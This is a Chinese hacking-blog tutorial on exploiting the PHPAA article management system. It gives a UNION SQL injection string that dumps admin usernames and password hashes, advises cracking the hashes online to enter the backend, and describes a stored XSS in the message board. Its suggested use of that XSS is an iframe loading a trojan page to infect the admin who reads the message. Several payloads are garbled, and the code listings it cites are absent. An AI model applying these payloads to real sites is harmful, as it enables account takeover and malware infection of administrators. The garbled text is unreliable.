危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20581028

PHPAA文章管理系统漏洞分析

漏洞挖掘听起来很神秘,其实也并非是高不可及的,只要打好了基础,一步一个脚印的去学习,我们就也可以挖掘出一些网站系统的0day漏洞来,今天我就给大家介绍一下基于PHP脚本的漏洞挖掘技术。

基于源代码的漏洞挖掘还是比较容易的,我们就以PHPAA文章管理系统为例,源代码可以到官方网站去下载。下载好了源代码就可以在本机搭建环境来进行测试了,先来看看文章显示页面(show.php)的代码:

从上面的代码中可以看出,它是根据提交的id来显示相应文章的。再来看看getArticlelnfo函数吧,我们在include文件夹下的common.function.php文件中找到了该函数:

这个函数并没有对id进行严格的过滤,也就是说只要id不为空就可以执行查询数据库语句“select * from cms_article where id=".$id”。继续查看show.php文件中的语句,发现当查询结束后会将结果中的“title”和“content”两个字段的内容显示出来。有了上面的分析,我们就可以构造sql注入语句了,首先构造一个爆管理员帐号和密码的sql注入语句吧。

使用联合查询的方法可以很容易的获得管理员的用户名和密码信息,只要将id赋值为“-1%20union%20select%201,2,username,4,5,6,7,8,9,l0,password,12,13,14,15%20from%20cms_users”提交即可。我们来看一下数据执行的过程,id传到getArticleInfo函数中后,首先判断id是否为0,不为0则执行sql查询语句“select* from cms_artWe where id=-1 ucuon select 1,2,usemame,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users”,很显然“id=1”是不存在的,因此返回的结果将是“select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users”的结果,也就是将管理员帐号赋值到结果的第三个字段,将管理员的密码(md5加密后的)赋值给第11个字段。show.php中的“$arc['Litle']”正好是结果的第三个字段,而“$arc['content']”则是结果的第11个字段,也就是说将管理员的帐号和密码信息显示在网页上。

好了,我们使用IE提交一下看看效果吧。是不是很神奇呢?有的朋友可能要问了,为什么在select后面要有15个字段呢?这是因为getArticleInfo函数在查询cms_article表时会返回15个字段的结果(因为cms_article中有15个字段),而显示的又是第3和第11个字段的信息。既然密码已经爆出来了,那我们就把密码拿到CMD5网站上在线解密一下,然后就可以登录后台了。

再来看看它的跨站脚本漏洞,由于对输入的数据基本没有过滤,因此存在跨站脚本漏洞的页面比较多,但是可以被利用的我认为是留言功能。我们来看看message.php文件中的代码。

大意就是将留言信息简单的判断一下后就直接写入到数据库中了,因此我们可以写入一下跨站脚本信息,但是要实现跨站脚本攻击的话还必须满足两个条件,一是输入未过滤,还有一个就是输出未转义。对于写人的留言,管理员在后台登录后会看到,因此我们再来看看Admin/message.php中的代码:

从上面可以看出,输出是直接的echo,并没有字符转义,也就是说我们提交的留言会完全的在后台显示,只要管理员查看留言就会执行我们的跨站脚本。至于具体的如何利用,大家就要多发挥想象力了,当然最直接的方法就是挂马了,在内容中输入“<iframe width= height=0 src="网马地址"><iframe>”提交即可,管理员在查看留言的时候就会中招了。我们就使用对话框脚本来演示一下吧,在留言内容中输人“<scrippaEert(/h4ck.cn/)</scripp>”提交,然后登录后台查看留言,成功的弹出了窗口。

以上就是基于PHP脚本漏洞挖掘的简单应用,大家可以继续挖挖,别的页面还有不少问题的!